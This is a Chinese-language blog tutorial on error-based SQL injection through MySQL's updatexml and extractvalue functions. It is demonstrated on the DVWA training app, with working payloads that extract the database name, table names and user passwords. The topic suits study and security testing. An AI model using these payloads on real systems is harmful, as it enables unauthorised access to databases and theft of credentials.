sql注入之updatexml和extractvalue注入

14 篇文章 0 订阅

1.基础:

首先了解updatexml和extractvalue注入之前我们来了解下什么是updatexml和extractvalue

updatexml()函数
用法:UPDATEXML (XML_document, XPath_string, new_value);
用处:是mysql对xml实体内容进行修改的函数,其中第一个参数是要修改的xml实体,第二个是要修改的xml路径,第三个是要修改成的值是什么。

然后我们在来了解下xml实体
在这里插入图片描述
为了更好理解这里用xml代替上面途中xml实体,比我们要修改from标签的值John为1,语法:updatexml(xml,"/from/",1)

tractvalue()函数
用法:extractvalue(XML_document, XPath_string);
用处:对xml实体进行截取展示有点类似mysql的show
还是以上面的xml为例,语法:extractvalue(xml “/from/”) 结果为:显示该路径标签内容John

sql注入利用

**漏洞利用原理:**当用select执行上述两个函数时,如果路径读取错误,mysql就会报错并回显该错误路径,这时只要把他要回显的信息改成我们想查看的内容就行了如select extractvalue(concat(0x7e,database()))便会报错回显数据库信息 其中的concat函数是把两个字符串拼接在一起即将错误的路径符号和要查询的参数连接起来,0x7e是~符号的ascii码值,对于该函数在路径上他识别不了一些特殊符号如#,还有上述的波浪号等

效果展示:
这里以dvwa的sql注入为实战,等级为low级别,查询数据库

pyload:1'and extractvalue(1,concat(0x7e,database()))#

在这里插入图片描述
获取表信息,因为错误回显只能有一行所以要用limit限制输出

pyload:1'and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='dvwa' limit 1,1)))#

在这里插入图片描述

然后我懒得按步骤来了直接省略查表字段冲账号密码了,想尝试的兄弟可以自己一步步尝试,参考我文章里的dvwa-sql注入

1'and extractvalue(1,concat(0x7e,(select concat(user,password) from users limit 1,1)))#

在这里插入图片描述
至于updatexml函数大家可以自己去试试,是一样的原理,这里就不多演示。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值